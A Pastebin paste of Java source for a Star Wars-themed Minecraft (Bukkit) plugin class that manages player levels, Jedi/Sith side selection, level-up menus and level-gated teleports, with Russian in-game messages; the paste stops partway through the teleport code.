Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package ua.gigabyteyt.jc;
- import org.bukkit.command.*;
- import net.md_5.bungee.api.*;
- import org.bukkit.inventory.*;
- import org.bukkit.*;
- import org.bukkit.inventory.meta.*;
- import org.bukkit.event.inventory.*;
- import org.bukkit.event.*;
- import java.util.*;
- import org.bukkit.entity.*;
- import org.bukkit.event.entity.*;
- import org.bukkit.event.player.*;
- import ru.tehkode.permissions.bukkit.*;
- public class Levels implements Listener, CommandExecutor
- {
- static HashMap<String, Integer> levels;
- static HashMap<String, Integer> kills;
- static HashMap<String, Integer> deaths;
- static HashMap<String, String> sides;
- private Inventory levelup;
- private Inventory sidejoin;
- static {
- Levels.levels = new HashMap<String, Integer>();
- Levels.kills = new HashMap<String, Integer>();
- Levels.deaths = new HashMap<String, Integer>();
- Levels.sides = new HashMap<String, String>();
- }
- public boolean onCommand(final CommandSender s, final Command c, final String l, final String[] a) {
- final Player p = (Player)s;
- if (c.getName().equalsIgnoreCase("level")) {
- if (a.length == 3 && a[0].equalsIgnoreCase("set")) {
- if (!p.hasPermission("jc.owner")) {
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&a&l[Commands] &e\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u0430\u0432, \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b!"));
- return true;
- }
- Levels.levels.put(a[1], Integer.valueOf(a[2]));
- p.sendMessage(String.valueOf(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0423\u0440\u043e\u0432\u0435\u043d\u044c \u0438\u0433\u0440\u043e\u043a\u0430 &b")) + a[1] + ChatColor.translateAlternateColorCodes('&', " &e\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d \u043d\u0430 &b") + a[2]);
- }
- if (a.length == 0) {
- if (getLevel(p) >= Main.instance.getConfig().getInt("MaxLevel")) {
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u0412\u044b \u0434\u043e\u0448\u043b\u0438 \u043a \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0443\u0440\u043e\u0432\u043d\u044e"));
- return true;
- }
- final SimpleItemStack exp = new SimpleItemStack(Material.EXP_BOTTLE, 1, "&a\u041f\u043e\u0434\u043d\u044f\u0442\u044c \u0443\u0440\u043e\u0432\u0435\u043d\u044c!");
- final ItemStack lvlInfo = new ItemStack(Material.PAPER);
- final ItemMeta lvlInfoMeta = lvlInfo.getItemMeta();
- lvlInfoMeta.setDisplayName(ChatColor.DARK_GREEN + "\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f");
- final ArrayList lore = new ArrayList();
- lore.add(ChatColor.GOLD + "\u0412\u0430\u0448 \u0443\u0440\u043e\u0432\u0435\u043d\u044c: " + ChatColor.DARK_GREEN + getLevel(p));
- lore.add(ChatColor.GOLD + "\u0412\u0430\u0448 \u0431\u0430\u043b\u0430\u043d\u0441: " + ChatColor.DARK_GREEN + Main.econ.getBalance(p.getName()));
- lore.add(ChatColor.GOLD + "\u0412\u0430\u0448 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c: " + ChatColor.DARK_GREEN + getNextLevel(p));
- lore.add(ChatColor.GOLD + "\u0421\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f: " + ChatColor.DARK_GREEN + Main.instance.getConfig().getInt("levels." + getNextLevel(p) + ".price"));
- if (Levels.kills.get(p.getName()) >= Main.instance.getConfig().getInt("levels." + getNextLevel(p) + ".kills")) {
- lore.add(ChatColor.GOLD + "\u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0443\u0431\u0438\u0439\u0441\u0442\u0432: " + ChatColor.DARK_GREEN + Levels.kills.get(p.getName()) + " / " + Main.instance.getConfig().getInt("levels." + getNextLevel(p) + ".kills"));
- }
- else {
- lore.add(ChatColor.GOLD + "\u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0443\u0431\u0438\u0439\u0441\u0442\u0432: " + ChatColor.DARK_RED + Levels.kills.get(p.getName()) + " / " + Main.instance.getConfig().getInt("levels." + getNextLevel(p) + ".kills"));
- }
- if (Main.instance.getConfig().contains("levels." + getNextLevel(p) + ".extraDMG")) {
- lore.add(ChatColor.GOLD + "\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0443\u0440\u043e\u043d: " + ChatColor.RED + Main.instance.getConfig().getInt("levels." + getNextLevel(p) + ".extraDMG"));
- }
- lvlInfoMeta.setLore((List)lore);
- lvlInfo.setItemMeta(lvlInfoMeta);
- (this.levelup = Bukkit.getServer().createInventory((InventoryHolder)null, 9, ChatColor.GREEN + "#levelup")).setItem(0, new ItemStack(Material.VINE));
- this.levelup.setItem(1, new ItemStack(Material.VINE));
- this.levelup.setItem(2, new ItemStack(Material.VINE));
- this.levelup.setItem(3, (ItemStack)exp);
- this.levelup.setItem(4, new ItemStack(Material.VINE));
- this.levelup.setItem(5, lvlInfo);
- this.levelup.setItem(6, new ItemStack(Material.VINE));
- this.levelup.setItem(7, new ItemStack(Material.VINE));
- this.levelup.setItem(8, new ItemStack(Material.VINE));
- p.openInventory(this.levelup);
- }
- return true;
- }
- if (c.getName().equalsIgnoreCase("jedicraft")) {
- if (a.length == 3 && a[0].equalsIgnoreCase("set")) {
- if (!p.hasPermission("jc.owner")) {
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&a&l[Commands] &e\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u0430\u0432, \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b!"));
- return true;
- }
- Levels.sides.put(a[1], a[2]);
- p.sendMessage(String.valueOf(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0421\u0442\u043e\u0440\u043e\u043d\u0430 \u0438\u0433\u0440\u043e\u043a\u0430 &b")) + a[1] + ChatColor.translateAlternateColorCodes('&', " &e\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0430 \u043d\u0430 &b") + a[2]);
- }
- if (a.length == 1 && a[0].equalsIgnoreCase("leave")) {
- if (Main.econ.getBalance((OfflinePlayer)p) < 100000.0) {
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u0440\u0435\u0434\u0441\u0442\u0432, \u043d\u0443\u0436\u043d\u043e \u0438\u043c\u0435\u0442\u044c 100.000$"));
- return true;
- }
- if (!Levels.sides.containsKey(p.getName())) {
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u0412\u044b \u043d\u0435 \u0432\u044b\u0431\u0440\u0430\u043b\u0438 \u0441\u0442\u043e\u0440\u043e\u043d\u0443"));
- return true;
- }
- Main.econ.withdrawPlayer((OfflinePlayer)p, 100000.0);
- Levels.sides.remove(p.getName());
- Main.instance.levelsConfig.set(String.valueOf(String.valueOf(p.getName())) + ".side", (Object)null);
- Main.instance.saveCustomYml(Main.instance.levelsConfig, Main.instance.levels);
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &c&l\u0412\u042b \u041f\u041e\u041a\u0418\u041d\u0423\u041b\u0418 \u0421\u0422\u041e\u0420\u041e\u041d\u0423"));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', ""));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &7\u042d\u0445\u0445, \u0436\u0430\u043b\u043a\u043e \u0447\u0442\u043e \u044d\u0442\u043e \u043d\u0430\u0441\u0442\u0443\u043f\u0438\u043b\u043e \u0442\u0430\u043a \u0440\u0430\u043d\u043e"));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &7\u0432\u0435\u0434\u044c \u043c\u044b \u0435\u0449\u0451 \u043d\u0435 \u0434\u043e\u0448\u043b\u0438 \u0434\u043e \u043a\u043e\u043d\u0446\u0430, \u0430 \u0442\u044b \u0443\u0436\u0435"));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &7\u0443\u0445\u043e\u0434\u0438\u0448\u044c, \u043e\u0447\u0435\u043d\u044c \u0436\u0430\u043b\u043a\u043e, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441 \u0442\u043e\u0431\u043e\u0439 \u0431\u044b\u043b\u043e"));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &7\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e, \u043b\u0430\u0434\u043d\u043e, \u0436\u0435\u043b\u0430\u044e \u0442\u0435\u0431\u0435 \u0443\u0434\u0430\u0447\u0438."));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', ""));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &c- &2100.000$"));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', ""));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &7\u0412\u044b\u0431\u0440\u0430\u0442\u044c \u0441\u0442\u043e\u0440\u043e\u043d\u0443 &8- &b/jedicraft"));
- }
- if (a.length == 0) {
- if (getLevel(p) < 6) {
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&e\u0427\u0442\u043e\u0431\u044b \u0432\u044b\u0431\u0440\u0430\u0442\u044c \u0441\u0442\u043e\u0440\u043e\u043d\u0443 \u043d\u0443\u0436\u043d\u043e \u0431\u044b\u0442\u044c 6-\u0438\u043c \u0443\u0440\u043e\u0432\u043d\u0435\u043c!"));
- return true;
- }
- if (!Main.instance.levelsConfig.contains(String.valueOf(String.valueOf(p.getName())) + ".side")) {
- final SimpleItemStack jedi = new SimpleItemStack(Material.MAGMA_CREAM, 1, "&3\u0414\u0436\u0435\u0434\u0430\u0439");
- final SimpleItemStack sith = new SimpleItemStack(Material.BONE, 1, "&4\u0421\u0438\u0442\u0445");
- (this.sidejoin = Bukkit.getServer().createInventory((InventoryHolder)null, 9, ChatColor.GREEN + "#sidejoin")).setItem(1, (ItemStack)jedi);
- this.sidejoin.setItem(7, (ItemStack)sith);
- p.openInventory(this.sidejoin);
- return true;
- }
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &c&l\u0412\u042b \u0423\u0416\u0415 \u0421\u0414\u0415\u041b\u0410\u041b\u0418 \u0421\u0412\u041e\u0419 \u0412\u042b\u0411\u041e\u0420"));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', ""));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &7\u0417\u043d\u0430\u0435\u0442\u0435, \u043e\u0447\u0435\u043d\u044c \u043b\u0435\u0433\u043a\u043e \u0432\u0441\u0451 \u043f\u043e\u043c\u0435\u043d\u044f\u0442\u044c"));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &7\u0434\u0430, \u0442\u043e\u0447\u043d\u043e! \u0443 \u043d\u0430\u0441 \u0434\u043b\u044f \u0432\u0430\u0441 \u0435\u0441\u0442\u044c \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f"));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &7\u043d\u0430\u0439\u0434\u0438\u0442\u0435 \u0432 \u0441\u0443\u043d\u0434\u0443\u043a\u0430\u0445 \u0438\u043b\u0438 \u0432\u044b\u0431\u0435\u0439\u0442\u0435 \u0441 \u0431\u043e\u0441\u0441\u043e\u0432"));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &2100.000$"));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', ""));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &7\u041f\u043e\u043a\u0438\u043d\u0443\u0442\u044c \u0441\u0442\u043e\u0440\u043e\u043d\u0443 &8- &b/jedicraft change"));
- return true;
- }
- }
- if (c.getName().equalsIgnoreCase("dung")) {
- if (a.length == 0) {
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &C&L\u0414\u0410\u041d\u0416\u0418 \u0417\u0412\u0401\u0417\u0414\u041d\u042b\u0425 \u0412\u041e\u0418\u041d"));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', ""));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &b/Dung AD &8- &7\u0422\u0435\u043b\u0435\u043f\u043e\u0440\u0442 \u0432 \u0410\u0434"));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &b/Dung RAI &8- &6\u0422\u0435\u043b\u0435\u043f\u043e\u0440\u0442 \u0432 \u0420\u0430\u0439"));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', ""));
- return true;
- }
- if (a.length == 1) {
- if (!Levels.sides.containsKey(p.getName())) {
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u0414\u0430\u043d\u043d\u044b\u0439 \u0434\u0430\u043d\u0436 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d!"));
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&7\u041a\u0443\u043f\u0438\u0442\u044c \u0434\u0430\u043d\u0436\u044b \u043c\u043e\u0436\u043d\u043e \u0432 \u043b\u043e\u0431\u0431\u0438!"));
- return true;
- }
- if (a[0].equalsIgnoreCase("ad")) {
- if (p.hasPermission("jc.bost.danj")) {
- final Location jediLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("ad.jedi.world")), Main.instance.getConfig().getDouble("ad.jedi.x"), Main.instance.getConfig().getDouble("ad.jedi.y"), Main.instance.getConfig().getDouble("ad.jedi.z"));
- final Location sithLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("ad.sith.world")), Main.instance.getConfig().getDouble("ad.sith.x"), Main.instance.getConfig().getDouble("ad.sith.y"), Main.instance.getConfig().getDouble("ad.sith.z"));
- if (!Main.instance.getConfig().contains("ad.jedi") || !Main.instance.getConfig().contains("ad.sith")) {
- p.sendMessage(ChatColor.RED + "\u0414\u0430\u043d\u0436 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d!");
- return true;
- }
- if (getSide(p).equalsIgnoreCase("Jedi")) {
- p.teleport(jediLoc);
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u0414\u0430\u043d\u0436:&7 \u0410\u0434"));
- }
- if (getSide(p).equalsIgnoreCase("Sith")) {
- p.teleport(sithLoc);
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u0414\u0430\u043d\u0436:&7 \u0410\u0434"));
- }
- }
- else {
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', "&c&l\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!"), ChatColor.translateAlternateColorCodes('&', "&e\u041d\u0443\u0436\u0435\u043d &66 \u0423\u0440\u043e\u0432\u0435\u043d\u044c"));
- }
- }
- if (a[0].equalsIgnoreCase("rai")) {
- if (p.hasPermission("jc.bost.rai")) {
- final Location jediLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("naboo.jedi.world")), Main.instance.getConfig().getDouble("naboo.jedi.x"), Main.instance.getConfig().getDouble("naboo.jedi.y"), Main.instance.getConfig().getDouble("naboo.jedi.z"));
- final Location sithLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("naboo.sith.world")), Main.instance.getConfig().getDouble("naboo.sith.x"), Main.instance.getConfig().getDouble("naboo.sith.y"), Main.instance.getConfig().getDouble("naboo.sith.z"));
- if (!Main.instance.getConfig().contains("naboo.jedi") || !Main.instance.getConfig().contains("naboo.sith")) {
- p.sendMessage(ChatColor.RED + "\u0414\u0430\u043d\u0436 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d!");
- return true;
- }
- if (getSide(p).equalsIgnoreCase("Jedi")) {
- p.teleport(jediLoc);
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u0414\u0430\u043d\u0436:&7 \u0420\u0430\u0439"));
- }
- if (getSide(p).equalsIgnoreCase("Sith")) {
- p.teleport(sithLoc);
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u0414\u0430\u043d\u0436:&7 \u0420\u0430\u0439"));
- }
- }
- else {
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', "&c&l\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!"), ChatColor.translateAlternateColorCodes('&', "&e\u041d\u0443\u0436\u0435\u043d &611 \u0423\u0440\u043e\u0432\u0435\u043d\u044c"));
- }
- }
- }
- }
- if (c.getName().equalsIgnoreCase("jc")) {
- if (a.length == 0) {
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &C&L\u041f\u041b\u0410\u041d\u0415\u0422\u042b \u0417\u0412\u0401\u0417\u0414\u041d\u042b\u0425 \u0412\u041e\u0418\u041d"));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', ""));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &b/Jc Space &8- &7\u0422\u0435\u043b\u0435\u043f\u043e\u0440\u0442 \u0432 \u041a\u043e\u0441\u043c\u043e\u0441 &8[&66&8]"));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &b/Jc Endor &8- &7\u0422\u0435\u043b\u0435\u043f\u043e\u0440\u0442 \u0432 \u042d\u043d\u0434\u043e\u0440 &8[&68&8]"));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &b/Jc Naboo &7- &7\u0422\u0435\u043b\u0435\u043f\u043e\u0440\u0442 \u043d\u0430 \u041d\u0430\u0431\u0443 &8[&611&8]"));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &b/Jc Kamino &8- &7\u0422\u0435\u043b\u0435\u043f\u043e\u0440\u0442 \u043d\u0430 \u041a\u0430\u043c\u0438\u043d\u043e &8[&615&8]"));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &b/Jc Mustafar &8- &7\u0422\u0435\u043b\u0435\u043f\u043e\u0440\u0442 \u043d\u0430 \u041c\u0443\u0441\u0442\u0430\u0444\u0430\u0440 &8[&618&8]"));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &b/Jc Hoth &8- &7\u0422\u0435\u043b\u0435\u043f\u043e\u0440\u0442 \u043d\u0430 \u041c\u0443\u0441\u0442\u0430\u0444\u0430\u0440 &8[&623&8]"));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', ""));
- return true;
- }
- if (a.length == 1) {
- if (!Levels.sides.containsKey(p.getName())) {
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u0414\u0430\u043d\u043d\u0430\u044f \u043f\u043b\u0430\u043d\u0435\u0442\u0430 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u0430!"));
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&7\u0421\u043f\u0438\u0441\u043e\u043a \u043f\u043b\u0430\u043d\u0435\u0442 &8- &b/jc"));
- return true;
- }
- if (a[0].equalsIgnoreCase("space")) {
- if (getLevel(p) >= 6) {
- final Location jediLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("space.jedi.world")), Main.instance.getConfig().getDouble("space.jedi.x"), Main.instance.getConfig().getDouble("space.jedi.y"), Main.instance.getConfig().getDouble("space.jedi.z"));
- final Location sithLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("space.sith.world")), Main.instance.getConfig().getDouble("space.sith.x"), Main.instance.getConfig().getDouble("space.sith.y"), Main.instance.getConfig().getDouble("space.sith.z"));
- if (!Main.instance.getConfig().contains("space.jedi") || !Main.instance.getConfig().contains("space.sith")) {
- p.sendMessage(ChatColor.RED + "\u041a\u043e\u0441\u043c\u043e\u0441 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d!");
- return true;
- }
- if (getSide(p).equalsIgnoreCase("Jedi")) {
- p.teleport(jediLoc);
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u041f\u043b\u0430\u043d\u0435\u0442\u0430:&7 \u041a\u043e\u0441\u043c\u043e\u0441"));
- }
- if (getSide(p).equalsIgnoreCase("Sith")) {
- p.teleport(sithLoc);
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u041f\u043b\u0430\u043d\u0435\u0442\u0430:&7 \u041a\u043e\u0441\u043c\u043e\u0441"));
- }
- }
- else {
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', "&c&l\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!"), ChatColor.translateAlternateColorCodes('&', "&e\u041d\u0443\u0436\u0435\u043d &66 \u0423\u0440\u043e\u0432\u0435\u043d\u044c"));
- }
- }
- if (a[0].equalsIgnoreCase("endor")) {
- if (getLevel(p) >= 8) {
- final Location jediLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("endor.jedi.world")), Main.instance.getConfig().getDouble("endor.jedi.x"), Main.instance.getConfig().getDouble("endor.jedi.y"), Main.instance.getConfig().getDouble("endor.jedi.z"));
- final Location sithLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("endor.sith.world")), Main.instance.getConfig().getDouble("endor.sith.x"), Main.instance.getConfig().getDouble("endor.sith.y"), Main.instance.getConfig().getDouble("endor.sith.z"));
- if (!Main.instance.getConfig().contains("endor.jedi") || !Main.instance.getConfig().contains("endor.sith")) {
- p.sendMessage(ChatColor.RED + "\u042d\u043d\u0434\u043e\u0440 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d!");
- return true;
- }
- if (getSide(p).equalsIgnoreCase("Jedi")) {
- p.teleport(jediLoc);
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u041f\u043b\u0430\u043d\u0435\u0442\u0430:&7 \u042d\u043d\u0434\u043e\u0440"));
- }
- if (getSide(p).equalsIgnoreCase("Sith")) {
- p.teleport(sithLoc);
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u041f\u043b\u0430\u043d\u0435\u0442\u0430:&7 \u042d\u043d\u0434\u043e\u0440"));
- }
- }
- else {
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', "&c&l\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!"), ChatColor.translateAlternateColorCodes('&', "&e\u041d\u0443\u0436\u0435\u043d &66 \u0423\u0440\u043e\u0432\u0435\u043d\u044c"));
- }
- }
- if (a[0].equalsIgnoreCase("naboo")) {
- if (getLevel(p) >= 11) {
- final Location jediLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("naboo.jedi.world")), Main.instance.getConfig().getDouble("naboo.jedi.x"), Main.instance.getConfig().getDouble("naboo.jedi.y"), Main.instance.getConfig().getDouble("naboo.jedi.z"));
- final Location sithLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("naboo.sith.world")), Main.instance.getConfig().getDouble("naboo.sith.x"), Main.instance.getConfig().getDouble("naboo.sith.y"), Main.instance.getConfig().getDouble("naboo.sith.z"));
- if (!Main.instance.getConfig().contains("naboo.jedi") || !Main.instance.getConfig().contains("naboo.sith")) {
- p.sendMessage(ChatColor.RED + "\u041d\u0430\u0431\u0443 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d!");
- return true;
- }
- if (getSide(p).equalsIgnoreCase("Jedi")) {
- p.teleport(jediLoc);
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u041f\u043b\u0430\u043d\u0435\u0442\u0430:&7 \u041d\u0430\u0431\u0443"));
- }
- if (getSide(p).equalsIgnoreCase("Sith")) {
- p.teleport(sithLoc);
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u041f\u043b\u0430\u043d\u0435\u0442\u0430:&7 \u041d\u0430\u0431\u0443"));
- }
- }
- else {
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', "&c&l\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!"), ChatColor.translateAlternateColorCodes('&', "&e\u041d\u0443\u0436\u0435\u043d &611 \u0423\u0440\u043e\u0432\u0435\u043d\u044c"));
- }
- }
- if (a[0].equalsIgnoreCase("kamino")) {
- if (getLevel(p) >= 15) {
- final Location jediLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("kamino.jedi.world")), Main.instance.getConfig().getDouble("kamino.jedi.x"), Main.instance.getConfig().getDouble("kamino.jedi.y"), Main.instance.getConfig().getDouble("kamino.jedi.z"));
- final Location sithLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("kamino.sith.world")), Main.instance.getConfig().getDouble("kamino.sith.x"), Main.instance.getConfig().getDouble("kamino.sith.y"), Main.instance.getConfig().getDouble("kamino.sith.z"));
- if (!Main.instance.getConfig().contains("kamino.jedi") || !Main.instance.getConfig().contains("kamino.sith")) {
- p.sendMessage(ChatColor.RED + "\u041a\u0430\u043c\u0438\u043d\u043e \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d!");
- return true;
- }
- if (getSide(p).equalsIgnoreCase("Jedi")) {
- p.teleport(jediLoc);
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u041f\u043b\u0430\u043d\u0435\u0442\u0430:&7 \u041a\u0430\u043c\u0438\u043d\u043e"));
- }
- if (getSide(p).equalsIgnoreCase("Sith")) {
- p.teleport(sithLoc);
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u041f\u043b\u0430\u043d\u0435\u0442\u0430:&7 \u041a\u0430\u043c\u0438\u043d\u043e"));
- }
- }
- else {
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', "&c&l\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!"), ChatColor.translateAlternateColorCodes('&', "&e\u041d\u0443\u0436\u0435\u043d &615 \u0423\u0440\u043e\u0432\u0435\u043d\u044c"));
- }
- }
- if (a[0].equalsIgnoreCase("mustafar")) {
- if (getLevel(p) >= 18) {
- final Location jediLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("mustafar.jedi.world")), Main.instance.getConfig().getDouble("mustafar.jedi.x"), Main.instance.getConfig().getDouble("mustafar.jedi.y"), Main.instance.getConfig().getDouble("mustafar.jedi.z"));
- final Location sithLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("mustafar.sith.world")), Main.instance.getConfig().getDouble("mustafar.sith.x"), Main.instance.getConfig().getDouble("mustafar.sith.y"), Main.instance.getConfig().getDouble("mustafar.sith.z"));
- if (!Main.instance.getConfig().contains("mustafar.jedi") || !Main.instance.getConfig().contains("mustafar.sith")) {
- p.sendMessage(ChatColor.RED + "\u041c\u0443\u0441\u0442\u0430\u0444\u0430\u0440 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d!");
- return true;
- }
- if (getSide(p).equalsIgnoreCase("Jedi")) {
- p.teleport(jediLoc);
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u041f\u043b\u0430\u043d\u0435\u0442\u0430:&7 \u041c\u0443\u0441\u0442\u0430\u0444\u0430\u0440"));
- }
- if (getSide(p).equalsIgnoreCase("Sith")) {
- p.teleport(sithLoc);
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u041f\u043b\u0430\u043d\u0435\u0442\u0430:&7 \u041c\u0443\u0441\u0442\u0430\u0444\u0430\u0440"));
